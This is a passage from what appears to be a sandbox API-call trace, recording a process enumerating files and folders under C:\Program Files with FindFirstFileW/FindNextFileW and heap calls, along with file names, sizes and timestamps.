Flags=0x0, Size=0x10000) returned 0x2bc9a78 [0235.955] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0235.956] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.956] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 1 [0236.712] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 0 [0236.712] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0236.712] GetProcessHeap () returned 0x560000 [0236.712] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0236.712] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0236.713] FindClose (in: hFindFile=0x65bd48 | out: hFindFile=0x65bd48) returned 1 [0236.713] GetProcessHeap () returned 0x560000 [0236.713] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0236.717] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0236.717] GetProcessHeap () returned 0x560000 [0236.717] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dad70 [0236.719] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd48 [0236.719] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.719] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0236.720] GetProcessHeap () returned 0x560000 [0236.720] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0236.722] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0236.722] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.722] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0236.723] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aabb7e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8aabb7e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1 [0236.723] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb93886, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb93886, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1 [0236.723] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1 [0236.723] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 0 [0236.724] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0236.724] GetProcessHeap () returned 0x560000 [0236.724] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0236.724] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad34e79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ad34e79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ad5afda, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0236.725] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14cd0c35, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14cd0c35, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x349a6d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaps.dll", cAlternateFileName="")) returned 1 [0236.725] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c0138a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86c0138a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86c0138a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1 [0236.725] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab69cf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x2ab69cf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x838ac7b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1 [0236.725] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3c3a6b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc3c3a6b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x349f2860, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1 [0236.726] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d2cdc0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x1d2cdc0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x383128c0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1 [0236.726] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c2ad0f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84c2ad0f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84c50e6f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1 [0236.726] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfabf604b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfabf604b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xdf9a48f0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1 [0236.726] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa4ffde2f, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1 [0236.727] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa52d1816, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1 [0236.727] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f0bf91, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f0bf91, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92f320f1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x128000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1 [0236.727] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9350f, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xcc9350f, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xcc210f8, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1 [0236.728] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14f7e4bf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14f7e4bf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x44773fc0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x59000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1 [0236.729] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e5c85, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc9e5c85, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xc97386e, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1 [0236.729] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x44e18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrw.dll", cAlternateFileName="")) returned 1 [0236.729] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 1 [0236.729] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 0 [0236.730] FindClose (in: hFindFile=0x65bd48 | out: hFindFile=0x65bd48) returned 1 [0236.730] GetProcessHeap () returned 0x560000 [0236.730] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0236.733] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5390a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc5390a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xd8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0236.733] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 1 [0236.734] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 0 [0236.734] FindClose (in: hFindFile=0x65bd88 | out: hFindFile=0x65bd88) returned 1 [0236.734] GetProcessHeap () returned 0x560000 [0236.734] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0236.737] FindNextFileW (in: hFindFile=0x593e10, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0236.737] FindClose (in: hFindFile=0x593e10 | out: hFindFile=0x593e10) returned 1 [0236.737] GetProcessHeap () returned 0x560000 [0236.737] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b74a40 | out: hHeap=0x560000) returned 1 [0236.743] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0236.743] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa2b83ef0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa2b83ef0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVD Maker", cAlternateFileName="DVDMAK~1")) returned 1 [0236.744] GetProcessHeap () returned 0x560000 [0236.744] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dad70 [0236.745] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*", lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa2b83ef0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa2b83ef0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd08 [0237.189] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa2b83ef0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa2b83ef0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.189] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9e35720, ftCreationTime.dwHighDateTime=0x1d58d07, ftLastAccessTime.dwLowDateTime=0x1a6dad90, ftLastAccessTime.dwHighDateTime=0x1d56567, ftLastWriteTime.dwLowDateTime=0x1a6dad90, ftLastWriteTime.dwHighDateTime=0x1d56567, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="afr38.exe", cAlternateFileName="")) returned 1 [0237.189] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed7565, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0ed7565, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0efd6c5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="audiodepthconverter.ax", cAlternateFileName="")) returned 1 [0237.189] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, 